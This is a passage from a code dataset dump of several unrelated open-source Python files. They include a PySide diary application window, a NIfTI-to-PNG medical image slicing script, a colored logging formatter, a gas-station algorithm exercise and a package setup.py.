PackageVersion(debian_package.fullversion)\n\n res_params = Dict()\n res_params.update(params)\n res_params.version = package_version.release\n\n res_params_raw = Dict()\n res_params_raw.version = debian_package.fullversion\n\n return True, res_params, res_params_raw\n\n def merge_with_mask(self, column, value):\n return value\n\n @staticmethod\n def split_fixed_pattern_with_file_name(path):\n \"\"\"\n Split path into fixed, masked parts and filename\n :param path: e.g\nhttps://repo.example.com/artifactory/libs-cpp-release.snapshot/boost/1.60-pm/*.*.*/vc110/x86/win/boost.*.*.*.tar.gz\n :return:\n _path_fixed: https://repo.example.com/artifactory/libs-cpp-release.snapshot/boost/1.60-pm/\n _path_pattern: *.*.*/vc100/x86/win\n _file_name_pattern: boost.*.*.*.tar.gz\n \"\"\"\n _first_pattern_pos = path.find('*')\n _path_separator_pos = path.rfind('/', 0, _first_pattern_pos)\n _path_fixed = path[:_path_separator_pos]\n _path_pattern = path[_path_separator_pos + 1:]\n _file_name_pattern_separator_pos = _path_pattern.rfind('/', 0)\n _file_name_pattern = _path_pattern[_file_name_pattern_separator_pos + 1:]\n\n if _path_pattern.find('*') == -1 or _file_name_pattern_separator_pos == -1:\n _path_pattern = \"\"\n else:\n _path_pattern = _path_pattern[:_file_name_pattern_separator_pos]\n\n return _path_fixed, _path_pattern, _file_name_pattern\n","repo_name":"devopshq/crosspm2","sub_path":"crosspm/helpers/parser2.py","file_name":"parser2.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"4254217701","text":"import os\nimport logging\nimport PySide.QtCore\nfrom collections import OrderedDict\nfrom PySide.QtGui import *\nfrom PySide.QtCore import *\nfrom hazama.ui.editor import Editor\nfrom hazama.ui import (font, winDwmExtendWindowFrame, scaleRatio, refreshStyle,\n makeQIcon, saveWidgetGeo, restoreWidgetGeo, markIcon)\nfrom hazama.ui.customwidgets import QLineEditWithMenuIcon\nfrom hazama.ui.customobjects import NGraphicsDropShadowEffect\nfrom hazama.ui.diarymodel import DiaryModel\nfrom hazama.ui.configdialog import ConfigDialog, StyleSheetEditor\nfrom hazama.ui.mainwindow_ui import Ui_mainWindow\nfrom hazama.ui.heatmap import HeatMap\nfrom hazama import updater, mactype\nfrom hazama.config import settings, db, isWin, winVer, isWin10, isWin7, isWin8\n\n\nclass MainWindow(QMainWindow, Ui_mainWindow):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.cfgDialog = self.heatMap = self.ssEditor = None # create on action triggered\n self.editors = OrderedDict() # diaryId => Editor, id of new diary is -1\n\n restoreWidgetGeo(self, settings['Main'].get('windowGeo'))\n # setup toolbar bg properties; the second stage is in showEvent\n self.setToolbarProperty()\n self.toolBar.setIconSize(QSize(24, 24) * scaleRatio)\n\n self.diaryList.editAct.triggered.connect(self.startEditor)\n self.diaryList.gotoAct.triggered.connect(self.onGotoActTriggered)\n self.diaryList.delAct.triggered.connect(self.deleteDiary)\n\n # setup TagList\n self._tagListAni = QPropertyAnimation(self, 'tagListWidth')\n self._tagListAni.setEasingCurve(QEasingCurve(QEasingCurve.OutCubic))\n self._tagListAni.setDuration(150)\n self._tagListAni.finished.connect(self.onTagListAniFinished)\n\n # setup sort menu\n menu = QMenu(self)\n group = QActionGroup(menu)\n datetime = QAction(self.tr('Date'), group)\n datetime.name = 'datetime'\n title = QAction(self.tr('Title'), group)\n title.name = 'title'\n length = QAction(self.tr('Length'), group)\n length.name = 'length'\n ascDescGroup = QActionGroup(menu)\n asc = QAction(self.tr('Ascending'), ascDescGroup)\n asc.name = 'asc'\n desc = QAction(self.tr('Descending'), ascDescGroup)\n desc.name = 'desc'\n for i in [datetime, title, length, None, asc, desc]:\n if i is None:\n menu.addSeparator()\n continue\n i.setCheckable(True)\n menu.addAction(i)\n i.triggered[bool].connect(self.onSortOrderChanged)\n # restore from settings\n order = settings['Main']['listSortBy']\n locals()[order].setChecked(True)\n if settings['Main'].getboolean('listReverse'):\n desc.setChecked(True)\n else:\n asc.setChecked(True)\n self.sorAct.setMenu(menu)\n self.toolBar.widgetForAction(self.sorAct).setPopupMode(QToolButton.InstantPopup)\n\n # setup count label\n # Qt Designer doesn't allow us to add widget in toolbar\n p = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Maximum)\n p.setHorizontalStretch(8)\n spacer1 = QWidget(self.toolBar)\n spacer1.setSizePolicy(p)\n self.toolBar.addWidget(spacer1)\n countLabel = self.countLabel = QLabel(self.toolBar, objectName='countLabel')\n countLabel.setSizePolicy(QSizePolicy(QSizePolicy.Maximum, QSizePolicy.Maximum))\n countLabel.setMargin(4 * scaleRatio)\n self.toolBar.addWidget(countLabel)\n\n # setup search box\n box = self.searchBox = SearchBox(self)\n p = QSizePolicy(QSizePolicy.Preferred, QSizePolicy.Fixed)\n p.setHorizontalStretch(5)\n box.setSizePolicy(p)\n box.setMinimumHeight(22 * scaleRatio)\n box.setMinimumWidth(box.minimumHeight() * 7.5)\n box.byTitleTextAct.triggered.connect(self._setSearchBy)\n box.byDatetimeAct.triggered.connect(self._setSearchBy)\n self._setSearchBy()\n self.toolBar.addWidget(box)\n spacer2 = QWidget(self.toolBar)\n spacer2.setFixedSize(2.5 * scaleRatio, 1)\n self.toolBar.addWidget(spacer2)\n if settings['Main'].getboolean('tagListVisible'):\n self.tListAct.setChecked(True) # will not trigger signal\n if self.isMaximized():\n # Qt will maximize the window after showing... why?\n QTimer.singleShot(0, lambda: self.toggleTagList(True, animated=False))\n else:\n self.toggleTagList(True, animated=False)\n else:\n self.tagList.hide() # don't use toggleTagList, it will save width\n # setup shortcuts\n searchSc = QShortcut(QKeySequence.Find, self)\n searchSc.activated.connect(self.searchBox.setFocus)\n\n # setup bigger toolbar icons\n if scaleRatio > 1.0:\n for act, fname in [(self.cfgAct, 'config'), (self.creAct, 'new'),\n (self.delAct, 'delete'), (self.mapAct, 'heatmap'),\n (self.sorAct, 'sort'), (self.tListAct, 'tag-list')]:\n act.setIcon(makeQIcon(':/toolbar/%s.png' % fname))\n\n # setup auto update check\n if updater.isCheckNeeded():\n task = updater.CheckUpdate()\n QTimer.singleShot(1200, task.start)\n task.succeeded.connect(self.setUpdateHint) # use lambda here will cause segfault!\n\n # delay list loading until main event loop start\n QTimer.singleShot(0, self.diaryList.load)\n\n def showEvent(self, event):\n # style polished, we can get correct height of toolbar now\n self._applyExtendTitleBarBg()\n self.diaryList.setFocus()\n\n def closeEvent(self, event):\n settings['Main']['windowGeo'] = saveWidgetGeo(self)\n tListVisible = self.tagList.isVisible()\n settings['Main']['tagListVisible'] = str(tListVisible)\n if tListVisible:\n settings['Main']['tagListWidth'] = str(int(self._tagListWidth() / scaleRatio))\n\n def changeEvent(self, event):\n if event.type() != QEvent.LanguageChange:\n return super().changeEvent(event)\n\n self.retranslateUi(self)\n self.searchBox.retranslate()\n self.updateCountLabel()\n self.tagList.reload() # \"All\" item\n\n def contextMenuEvent(self, event):\n \"\"\"Hidden menu.\"\"\"\n menu = QMenu()\n menu.addAction(QAction(self.tr('Edit Style Sheet'), menu, triggered=self.startStyleSheetEditor))\n menu.addAction(QAction(self.tr('Open Data Directory'), menu,\n triggered=lambda: QDesktopServices.openUrl('file:///' + os.getcwd())))\n if mactype.isEnabled():\n menu.addAction(QAction(self.tr('Open MacType Config'), menu,\n triggered=lambda: QDesktopServices.openUrl('file:///' + mactype.configPath)))\n menu.addAction(QAction(self.tr('About Qt'), menu, triggered=qApp.aboutQt))\n\n menu.exec_(event.globalPos())\n menu.deleteLater()\n\n # disable winEvent hack if PySide version doesn't support it\n if hasattr(PySide.QtCore, 'MSG') and hasattr(MSG, 'lParam'):\n def winEvent(self, msg):\n \"\"\"Make extended frame draggable (Windows only). This hack is better than\n receiving MouseMoveEvent and moving the window because it can handle aero snap.\"\"\"\n if msg.message == 0x0084: # WM_NCHITTEST\n pos = QPoint(msg.lParam & 0xFFFF, msg.lParam >> 16)\n widget = self.childAt(self.mapFromGlobal(pos))\n if widget is self.toolBar or widget is self.countLabel:\n # qApp.mouseButtons() & Qt.LeftButton doesn't work here; must use win32api\n return True, 2 # HTCAPTION\n else:\n return False, 0\n else:\n return False, 0 # let Qt handle the message\n\n def _tagListWidth(self):\n return self.splitter.sizes()[0]\n\n def _setTagListWidth(self, w):\n sizes = self.splitter.sizes()\n if sizes[1] == 0:\n self.splitter.setSizes([w, self.width()-w])\n else:\n sizes[1] = sizes[0] + sizes[1] - w\n sizes[0] = w\n self.splitter.setSizes(sizes)\n\n def startStyleSheetEditor(self):\n try:\n self.ssEditor.activateWindow()\n except (AttributeError, RuntimeError):\n self.ssEditor = StyleSheetEditor(self)\n self.ssEditor.appearanceChanged.connect(self.onAppearanceChanged)\n self.ssEditor.resize(QSize(600, 550) * scaleRatio)\n self.ssEditor.show()\n\n def setToolbarProperty(self):\n ex = settings['Main'].getboolean('extendTitleBarBg')\n self.toolBar.setProperty('extendTitleBar', ex)\n type_ = ''\n if ex:\n if isWin10:\n type_ = 'win10' # system theme has no border\n elif isWin:\n type_ = 'win'\n else:\n type_ = 'other'\n self.toolBar.setProperty('titleBarBgType', type_)\n if self.isVisible(): # not being called by __init__\n refreshStyle(self.toolBar)\n refreshStyle(self.countLabel) # why is this necessary?\n self._applyExtendTitleBarBg()\n\n def _applyExtendTitleBarBg(self):\n if settings['Main'].getboolean('extendTitleBarBg'):\n if isWin:\n winDwmExtendWindowFrame(self.winId(), top=self.toolBar.height())\n self.setAttribute(Qt.WA_TranslucentBackground)\n\n if not isWin or not isWin8:\n eff = NGraphicsDropShadowEffect(5 if isWin7 else 3, self.countLabel)\n eff.setColor(QColor(Qt.white))\n eff.setOffset(0, 0)\n eff.setBlurRadius((16 if isWin7 else 8) * scaleRatio)\n self.countLabel.setGraphicsEffect(eff)\n else:\n self.countLabel.setGraphicsEffect(None)\n\n def onSortOrderChanged(self, checked):\n name = self.sender().name\n if name in ['asc', 'desc']:\n settings['Main']['listReverse'] = str(name == 'desc')\n elif checked:\n settings['Main']['listSortBy'] = name\n self.diaryList.sort()\n\n def toggleTagList(self, show, animated=True):\n if show:\n if self._tagListAni.state() == QAbstractAnimation.Running:\n self._tagListAni.stop()\n else:\n self.tagList.load()\n self.tagList.show()\n # minus 1 to make animation direction check correct\n tListW = settings['Main'].getint('tagListWidth')\n tListW = tListW * scaleRatio if tListW else int(self.width() * 0.2)\n if animated:\n self._tagListAni.hiding = False\n self._tagListAni.setStartValue(max(self._tagListWidth(),\n self.tagList.minimumSize().width()))\n self._tagListAni.setEndValue(tListW)\n self._tagListAni.start()\n else:\n self._setTagListWidth(tListW)\n else:\n if self._tagListAni.state() == QAbstractAnimation.Running:\n self._tagListAni.stop()\n else:\n settings['Main']['tagListWidth'] = str(int(self._tagListWidth() / scaleRatio))\n if animated:\n self._tagListAni.hiding = True\n self._tagListAni.setStartValue(self._tagListWidth())\n self._tagListAni.setEndValue(self.tagList.minimumSize().width())\n self._tagListAni.start()\n else:\n self.tagList.hide()\n\n def updateCountLabel(self):\n \"\"\"Update label that display count of diaries in Main List.\n 'XX diaries' format is just fine, don't use 'XX diaries,XX results'.\"\"\"\n self.countLabel.setText(self.tr('%i diaries') %\n self.diaryList.modelProxy.rowCount())\n\n def updateCountLabelOnLoad(self):\n self.countLabel.setText(self.tr('loading...'))\n\n def setUpdateHint(self, enabled=None):\n if enabled is None:\n enabled = bool(updater.foundUpdate)\n\n if enabled:\n ico = self.cfgAct.icon()\n self.cfgAct.originIcon = QIcon(ico) # save copy\n self.cfgAct.setIcon(markIcon(ico, QSize(24, 24)), ':/toolbar/update-mark.png')\n elif hasattr(self.cfgAct, 'originIcon'):\n self.cfgAct.setIcon(self.cfgAct.originIcon)\n del self.cfgAct.originIcon\n\n def _setSearchBy(self):\n sen = self.sender()\n if sen:\n self.searchBox.contentChanged.disconnect()\n if sen == self.searchBox.byTitleTextAct or sen is None:\n self.searchBox.contentChanged.connect(self.diaryList.setFilterBySearchString)\n else:\n self.searchBox.contentChanged.connect(self.diaryList.setFilterByDatetime)\n\n def deleteDiary(self):\n indexes = self.diaryList.selectedIndexes()\n if not indexes:\n return\n msg = QMessageBox(self)\n okBtn = msg.addButton(qApp.translate('Dialog', 'Delete'), QMessageBox.AcceptRole)\n msg.setIcon(QMessageBox.Question)\n msg.addButton(qApp.translate('Dialog', 'Cancel'), QMessageBox.RejectRole)\n msg.setWindowTitle(self.tr('Delete diaries'))\n msg.setText(self.tr('Selected diaries will be deleted permanently!'))\n msg.exec_()\n msg.deleteLater()\n\n if msg.clickedButton() == okBtn:\n for i in indexes: db.delete(i.data())\n for r in reversed(sorted(i.row() for i in indexes)):\n self.diaryList.model().removeRow(r)\n self.tagList.reload() # tags might changed\n\n def startEditor(self, idx=None):\n dic = self.diaryList.getDiaryDict(idx or self.diaryList.currentIndex())\n id_ = dic['id']\n if id_ in self.editors:\n self.editors[id_].activateWindow()\n else:\n e = Editor(dic)\n self._setEditorStaggerPos(e)\n self.editors[id_] = e\n e.closed.connect(self.onEditorClose)\n pre, next_ = lambda: self._editorMove(-1), lambda: self._editorMove(1)\n e.preSc.activated.connect(pre)\n e.quickPreSc.activated.connect(pre)\n e.nextSc.activated.connect(next_)\n e.quickNextSc.activated.connect(next_)\n e.show()\n\n def startEditorNew(self):\n if -1 in self.editors:\n self.editors[-1].activateWindow()\n else:\n e = Editor({'id': -1})\n self._setEditorStaggerPos(e)\n self.editors[-1] = e\n e.closed.connect(self.onEditorClose)\n e.show()\n\n def _setEditorStaggerPos(self, editor):\n if self.editors:\n lastOpenEditor = list(self.editors.values())[-1]\n pos = lastOpenEditor.pos() + QPoint(16, 16) * scaleRatio\n # can't check available screen space because of bug in pyside\n editor.move(pos)\n\n def _editorMove(self, step):\n if len(self.editors) > 1: return\n id_ = list(self.editors.keys())[0]\n editor = self.editors[id_]\n if editor.needSave(): return\n\n model = self.diaryList.modelProxy\n idx = model.match(model.index(0, 0), 0, id_, flags=Qt.MatchExactly)\n if len(idx) != 1: return\n row = idx[0].row() # the row of the caller (Editor) 's diary in proxy model\n\n if ((step == -1 and row == 0) or\n (step == 1 and row == model.rowCount() - 1)):\n return\n newIdx = model.index(row+step, 0)\n self.diaryList.clearSelection()\n self.diaryList.setCurrentIndex(newIdx)\n dic = self.diaryList.getDiaryDict(newIdx)\n editor.fromDiaryDict(dic)\n self.editors[dic['id']] = self.editors.pop(id_)\n\n def onEditorClose(self, id_, needSave):\n \"\"\"Write editor's data to model and database, and destroy editor\"\"\"\n editor = self.editors[id_]\n new = id_ == -1\n if needSave:\n qApp.setOverrideCursor(QCursor(Qt.WaitCursor))\n dic = editor.toDiaryDict()\n if not new and not editor.tagModified: # let database skip heavy tag update operation\n dic['tags'] = None\n row = self.diaryList.originModel.saveDiary(dic)\n\n self.diaryList.clearSelection()\n self.diaryList.setCurrentIndex(self.diaryList.modelProxy.mapFromSource(\n self.diaryList.originModel.index(row, 0)))\n\n if new:\n self.updateCountLabel()\n if editor.tagModified:\n self.tagList.reload()\n qApp.restoreOverrideCursor()\n editor.deleteLater()\n del self.editors[id_]\n\n def onAppearanceChanged(self):\n self.diaryList.setupTheme()\n self.tagList.setupTheme()\n self.setToolbarProperty()\n\n def onGotoActTriggered(self):\n \"\"\"Scroll the list to the original position (unfiltered) of an entry.\"\"\"\n if self.searchBox.text():\n self.searchBox.clear()\n if self.tagList.selectedIndexes():\n self.tagList.setCurrentRow(0)\n self.diaryList.scrollTo(self.diaryList.currentIndex(), QListView.PositionAtCenter)\n\n def onTagListAniFinished(self):\n if self._tagListAni.hiding:\n self.tagList.hide()\n self.tagList.clear()\n\n @Slot()\n def on_cfgAct_triggered(self):\n \"\"\"Start config dialog\"\"\"\n try:\n self.cfgDialog.activateWindow()\n except (AttributeError, RuntimeError):\n self.cfgDialog = ConfigDialog(self)\n self.cfgDialog.diaryChanged.connect(self.diaryList.reload)\n self.cfgDialog.appearanceChanged.connect(self.onAppearanceChanged)\n self.cfgDialog.show()\n\n @Slot()\n def on_mapAct_triggered(self):\n # some languages have more info in single character\n # ratios are from http://www.sonasphere.com/blog/?p=1319\n ratio = {QLocale.Chinese: 1, QLocale.English: 4, QLocale.Japanese: 1.5,\n }.get(QLocale().language(), 1.6)\n logging.debug('HeatMap got length ratio %s' % ratio)\n ds = ['0', '< %d' % (200 * ratio), '< %d' % (550 * ratio),\n '>= %d' % (550 * ratio)]\n descriptions = [i + ' ' + qApp.translate('HeatMap', '(characters)') for i in ds]\n\n def colorFunc(data, cellColors):\n if data == 0:\n return cellColors[0]\n elif data < 200 * ratio:\n return cellColors[1]\n elif data < 550 * ratio:\n return cellColors[2]\n else:\n return cellColors[3]\n\n # iter through model once and cache result.\n cached = {}\n for diary in self.diaryList.originModel.getAll():\n dt, length = diary[DiaryModel.DATETIME], diary[DiaryModel.LENGTH]\n year, month, last = dt.split('-')\n cached[(int(year), int(month), int(last[:2]))] = length\n\n try:\n self.heatMap.activateWindow()\n except (AttributeError, RuntimeError):\n self.heatMap = HeatMap(self, objectName='heatMap', font=font.datetime)\n self.heatMap.closeSc = QShortcut(QKeySequence(Qt.Key_Escape), self.heatMap,\n activated=self.heatMap.close)\n self.heatMap.setColorFunc(colorFunc)\n self.heatMap.setDataFunc(lambda y, m, d: cached.get((y, m, d), 0))\n self.heatMap.sample.setDescriptions(descriptions)\n self.heatMap.setAttribute(Qt.WA_DeleteOnClose)\n self.heatMap.resize(self.size())\n self.heatMap.setWindowFlags(Qt.Window | Qt.WindowTitleHint)\n self.heatMap.setWindowTitle(self.tr('Heat Map'))\n self.heatMap.move(self.pos() + QPoint(12, 12)*scaleRatio)\n self.heatMap.show()\n\n tagListWidth = Property(int, _tagListWidth, _setTagListWidth)\n\n\nclass SearchBox(QLineEditWithMenuIcon):\n \"\"\"The real-time search box in toolbar. contentChanged signal will be\n delayed after textChanged, it prevent lagging when text changing quickly\n and the amount of data is large.\"\"\"\n contentChanged = Signal(str) # replace textChanged\n\n def __init__(self, parent=None):\n super().__init__(parent, objectName='searchBox')\n self._searchByTip = None\n\n self.btn = QPushButton(self, objectName='searchBoxBtn')\n sz = QSize(16, 16) * scaleRatio\n self.btn.setFocusPolicy(Qt.NoFocus)\n self.btn.setFixedSize(sz)\n self.btn.setIconSize(sz)\n self.btn.setCursor(Qt.PointingHandCursor)\n self.btn.clicked.connect(self.onBtnClicked)\n\n self._byMenu = menu = QMenu(self)\n group = QActionGroup(menu)\n self.byTitleTextAct = QAction(self.tr('Title && Text'), group)\n self.byDatetimeAct = QAction(self.tr('Date (YYYY-MM-DD)'), group)\n for i in (self.byTitleTextAct, self.byDatetimeAct):\n i.setCheckable(True)\n menu.addAction(i)\n self.byTitleTextAct.setChecked(True)\n\n clearSc = QShortcut(QKeySequence(Qt.Key_Escape), self)\n clearSc.activated.connect(self.clear)\n self.textChanged.connect(self.onTextChanged)\n self.retranslate()\n self.setMinimumHeight(int(self.btn.height() * 1.2))\n self.setTextMargins(QMargins(2, 0, sz.width(), 0))\n\n self._hasText = True\n self._searchIco = makeQIcon(':/search.png', scaled2x=True)\n self._clrIco = makeQIcon(':/search-clr.png', scaled2x=True)\n self.onTextChanged('') # initialize the icon\n\n self._delayed = QTimer(self)\n self._delayed.setSingleShot(True)\n self._delayed.setInterval(310)\n self._delayed.timeout.connect(lambda: self.contentChanged.emit(self.text()))\n self.textChanged.connect(self._updateDelayedTimer)\n\n def resizeEvent(self, event):\n w, h = event.size().toTuple()\n pos_y = (h - self.btn.height()) / 2\n self.btn.move(w - self.btn.width() - pos_y, pos_y)\n\n def retranslate(self):\n self._searchByTip = self.tr('Click to change search option')\n self.setPlaceholderText(self.tr('Search'))\n\n def _updateDelayedTimer(self, s):\n if s == '': # fast clear\n self._delayed.stop()\n self._delayed.timeout.emit() # delay this call is not a good idea\n else:\n self._delayed.start() # restart if already started\n\n def onTextChanged(self, text):\n if self._hasText == bool(text): return\n self.btn.setIcon(self._clrIco if text else self._searchIco)\n self.btn.setToolTip('' if text else self._searchByTip)\n self._hasText = bool(text)\n\n def onBtnClicked(self):\n if self._hasText:\n self.clear()\n else:\n self._byMenu.exec_(self.btn.mapToGlobal(QPoint(0, self.btn.height())))\n","repo_name":"krrr/Hazama","sub_path":"hazama/ui/mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":22865,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"61"} +{"seq_id":"33662441008","text":"def gasStation(gas, cost):\n cur_gas = 0\n total_gas = 0\n start_idx = 0\n for i in range(0, len(gas)):\n cur_gas += gas[i] - cost[i]\n total_gas += gas[i] - cost[i]\n if cur_gas < 0:\n # cannot start from that gas\n start_idx += 1;\n cur_gas = 0;\n return start_idx if total_gas >= 0 else -1\n\n\ngas = [1, 2, 3, 4, 5]\ncost = [3, 4, 5, 1, 2]\nstart = gasStation(gas, cost)\nprint(start)","repo_name":"hohaidang/Python_Basic2Advance","sub_path":"GasStation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29711180714","text":"\nimport os\nimport glob\nimport cv2\nimport argparse\nimport nibabel as nib\nfrom subprocess import run\nfrom shutil import move\n\ndef main(opt):\n # fetch list of nii files\n #nii_paths = glob.glob(opt.nifti_dir + '/*.nii.gz')\n nii_paths = glob.glob(opt + '/*.nii.gz')\n\n # load gan\n #GAN = load_gan(opt.gan_model)\n GAN = load_gan('')\n\n # process each nii separately\n for nii_path in nii_paths:\n nii_s_paths = split_to_slices(nii_path)\n nii_s_fake_paths = []\n for nii_s_path in nii_s_paths:\n # convert nifti to png\n png_path, nii_obj = nii_to_png(nii_s_path)\n #translate image with pre-trained GAN\n png_path_fake = im2im_translate(png_path)\n #convert new png back to nifti\n nii_s_fake_path = png_to_nii(png_path_fake, nii_obj)\n #collect intermediate slices for later removal\n nii_s_fake_paths.append(nii_s_fake_path)\n #merge all individual slices to single volume\n merge_to_vol(nii_path)\n # cleanup\n cleanup(nii_s_fake_paths, nii_s_paths)\n # calculate img comparison metrics\n\n\n# load model\ndef load_gan(gan_model):\n pass\n\n# split into slices \ndef split_to_slices(nii_path):\n nii_basename = nii_path[:-7]\n run([\"fslsplit\", nii_path, nii_basename, \"-z\"])\n nii_s_paths = glob.glob(nii_basename + '[0-9]*.nii.gz')\n return nii_s_paths\n\n# convert into jpg\ndef nii_to_png(nii_s_path):\n # load nifti\n nii = nib.load(nii_s_path)\n # extract array\n nii_a = nii.get_fdata().round()\n # normalize\n nii_a_n = cv2.normalize(nii_a, None, alpha = 0, beta = 255, norm_type = cv2.NORM_MINMAX)\n # cast to uint8\n nii_a_n_uint8 = nii_a_n.astype('uint8')\n # save as png\n png_path = nii_s_path.replace(\".nii.gz\",\".png\")\n cv2.imwrite(png_path, nii_a_n_uint8)\n return png_path, nii\n\n# predict using the saved model\ndef im2im_translate(png_file):\n # load png\n im = cv2.imread(png_file,0)\n # save png\n savename = png_file.replace(\".png\", \"_fake_t2s.png\")\n cv2.imwrite(savename, im)\n #return png_translated_file\n return savename\n\n# turn back into nii\ndef png_to_nii(png_path_fake, nii_obj):\n\n # load png\n im = cv2.imread(png_path_fake,0)\n # cast to float\n im_float64 = im.astype('float64')\n # convert to nifti\n nii_from_png = nib.Nifti1Image(im_float64, nii_obj.affine, header=nii_obj.header)\n # save file\n path_nii = png_path_fake.replace(\".png\",\".nii.gz\")\n nii_from_png.to_filename(path_nii)\n return path_nii\n\n# fuse into vol\ndef merge_to_vol(nii_slices):\n nii_slices_basename = nii_slices[:-(7 + 2)] + '*[0-9]*fake_t2s.nii.gz'\n output_name = nii_slices[:-7]+'_fake_t2s.nii.gz'\n cmd = [\"fslmerge\", \"-z\", output_name, nii_slices_basename]\n os.system(\" \".join(cmd))\n\ndef cleanup(nii_s_paths, nii_s_fake_paths):\n # remove all nii slices to conserve space\n # note that we keep all PNG files as they may be required for later processing (e.g. img metric comparisons, etc)\n for f1, f2 in zip(nii_s_paths, nii_s_fake_paths):\n os.remove(f1)\n os.remove(f2)\n # move png files to separate dir\n pngs = glob.glob(opt + '/*.png')\n png_dir = '%s/%s' % (opt, 'png')\n os.makedirs(png_dir, exist_ok=True)\n [move(png, png_dir) for png in pngs]\n # move translated files to separate dir\n nii_fake = glob.glob(opt + '/*_fake_t2s.nii.gz')\n nii_fake_dir = '%s/%s' % (opt, 'fake_t2s')\n os.makedirs(nii_fake_dir, exist_ok=True)\n [move(nii, nii_fake_dir) for nii in nii_fake]\n\n\n# [optional] calculate image difference between original and new (on slice by slice basis)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--nifti_dir', type=str)\n parser.add_argument('--gan_model', type=str)\n opt = parser.parse_args()\n opt ='/vol/medic02/users/sv407/my/ml/code_playground/20190502_python_subprocesses'\n main(opt)","repo_name":"sergeicu/sparse_mr2mr","sub_path":"review/translate_t2vol_t2svol.py","file_name":"translate_t2vol_t2svol.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11029294798","text":"\"\"\"\nCustom logging script\n\"\"\"\n\nimport logging\n\nfrom .common import DEBUG, DEBUG_INTERACTIONS\n\n\ndef get_logger(name):\n \"\"\"Function to get a logger\n Useful for modules that have already initialized a logger, such as interactions.py\n \"\"\"\n __logger = logging.getLogger(name)\n __logger.setLevel(logging.DEBUG if DEBUG_INTERACTIONS else logging.INFO)\n __ch = logging.StreamHandler()\n __ch.setFormatter(CustomFormatter())\n __logger.addHandler(__ch)\n\n return __logger\n\n\ndef init_logger(name=\"root\"):\n \"\"\"Function to create a designated logger for separate modules\"\"\"\n __logger = logging.Logger(name)\n __ch = logging.StreamHandler()\n __ch.setLevel(logging.DEBUG if DEBUG else logging.INFO)\n __ch.setFormatter(CustomFormatter())\n __logger.addHandler(__ch)\n\n return __logger\n\n\nclass CustomFormatter(logging.Formatter):\n \"\"\"Custom formatter class\"\"\"\n\n grey = \"\\x1b[38;1m\"\n green = \"\\x1b[42;1m\"\n yellow = \"\\x1b[43;1m\"\n red = \"\\x1b[41;1m\"\n bold_red = \"\\x1b[31;1m\"\n reset = \"\\x1b[0m\"\n\n format = \"[%(asctime)s][%(levelname)-7s][%(name)-14s][%(lineno)4s] %(message)s\"\n FORMATS = (\n {\n logging.DEBUG: green\n + f\"{reset}[%(asctime)s]{green}[%(levelname)-7s][%(name)-14s]{reset}[{red}%(lineno)4s{reset}] %(message)s\"\n + reset,\n logging.INFO: grey\n + f\"{reset}[%(asctime)s]{grey}[%(levelname)-7s][%(name)-14s]{reset}[{red}%(lineno)4s{reset}] %(message)s\"\n + reset,\n logging.WARNING: yellow\n + f\"[%(asctime)s][%(levelname)-7s][%(name)-14s][{red}%(lineno)4s{reset}{yellow}] %(message)s\"\n + reset,\n logging.ERROR: red\n + \"[%(asctime)s][%(levelname)-7s][%(name)-14s][%(lineno)4s] %(message)s\"\n + reset,\n logging.CRITICAL: bold_red\n + \"[%(asctime)s][%(levelname)-7s][%(name)-14s][%(lineno)4s] %(message)s\"\n + reset,\n }\n if DEBUG\n else {\n logging.DEBUG: reset,\n logging.INFO: grey + \"[%(asctime)s][%(levelname)7s] %(message)s\" + reset,\n logging.WARNING: yellow\n + \"[%(asctime)s][%(levelname)7s] %(message)s\"\n + reset,\n logging.ERROR: red + \"[%(asctime)s][%(levelname)7s] %(message)s\" + reset,\n logging.CRITICAL: bold_red\n + \"[%(asctime)s][%(levelname)7s] %(message)s\"\n + reset,\n }\n )\n\n def format(self, record):\n log_fmt = self.FORMATS.get(record.levelno)\n formatter = logging.Formatter(log_fmt, datefmt=\"%I:%M.%S%p\")\n\n return formatter.format(record)\n","repo_name":"savioxavier/repo-finder-bot","sub_path":"utils/logutil.py","file_name":"logutil.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"61"} +{"seq_id":"39391538452","text":"from sys import path\n\n#Add a path to your file\npath.append('C:\\\\Users\\\\LiekeCeton\\\\Projects\\\\Education\\\\modules')\n\n#import module\nfrom module import suml, prodl\n\nzeroes = [0 for i in range(5)]\nones = [1 for i in range(5)]\nprint(suml(zeroes))\nprint(prodl(ones))\n\n","repo_name":"liekeceton/head_first_design_patterns","sub_path":"progs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25197549015","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(name='tealang',\n version='0.3.1',\n author='Eunice Jun',\n author_email='emjun@cs.washington.edu',\n description='Tea: A High-level Language and Runtime System to Automate Statistical Analysis',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url='https://github.com/emjun/tea-lang',\n packages=setuptools.find_packages(),\n install_requires=[\n 'attrs',\n 'pandas',\n 'scipy',\n 'scikit-learn',\n 'statsmodels',\n 'bootstrapped',\n 'pipfile',\n 'requests',\n 'z3-solver',\n 'urllib3',\n 'parameterized', \n 'sympy'\n ],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.7',\n)","repo_name":"tea-lang-org/tea-lang","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"61"} +{"seq_id":"41263576634","text":"# import os\nfrom time import time as time_t\nfrom 